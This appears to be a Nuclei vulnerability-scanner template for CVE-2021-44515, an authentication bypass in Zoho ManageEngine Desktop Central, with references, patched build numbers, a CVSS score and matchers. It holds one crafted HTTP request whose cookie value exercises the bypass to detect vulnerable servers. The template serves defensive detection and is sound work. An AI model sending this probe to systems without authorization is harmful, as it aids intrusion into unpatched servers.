id: CVE-2021-44515 info: name: Zoho ManageEngine Desktop Central - Remote Code Execution author: Adam Crosser severity: critical description: Zoho ManageEngine Desktop Central contains an authentication bypass vulnerability that could allow an attacker to execute arbitrary code in the Desktop Central MSP server. reference: - https://www.cisa.gov/uscert/ncas/current-activity/2021/12/10/cisa-adds-13-known-exploited-vulnerabilities-catalog - https://srcincite.io/blog/2022/01/20/zohowned-a-critical-authentication-bypass-on-zoho-manageengine-desktop-central.html - https://attackerkb.com/topics/rJw4DFI2RQ/cve-2021-44515/rapid7-analysis - https://pitstop.manageengine.com/portal/en/community/topic/an-authentication-bypass-vulnerability-identified-and-fixed-in-desktop-central-and-desktop-central-msp - https://nvd.nist.gov/vuln/detail/CVE-2021-44515 remediation: For Enterprise builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For Enterprise builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3. For MSP builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For MSP builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-44515 cwe-id: CWE-287 tags: cve,cve2021,zoho,rce,manageengine,kev requests: - raw: - | GET /STATE_ID/123/agentLogUploader HTTP/1.1 Host: {{Hostname}} Cookie: STATE_COOKIE=&_REQS/_TIME/123 matchers-condition: and matchers: - type: status status: - 200 - type: dsl dsl: - "len(body) == 0" - type: word part: header words: - "UEMJSESSIONID=" # Enhanced by mp on 2022/05/18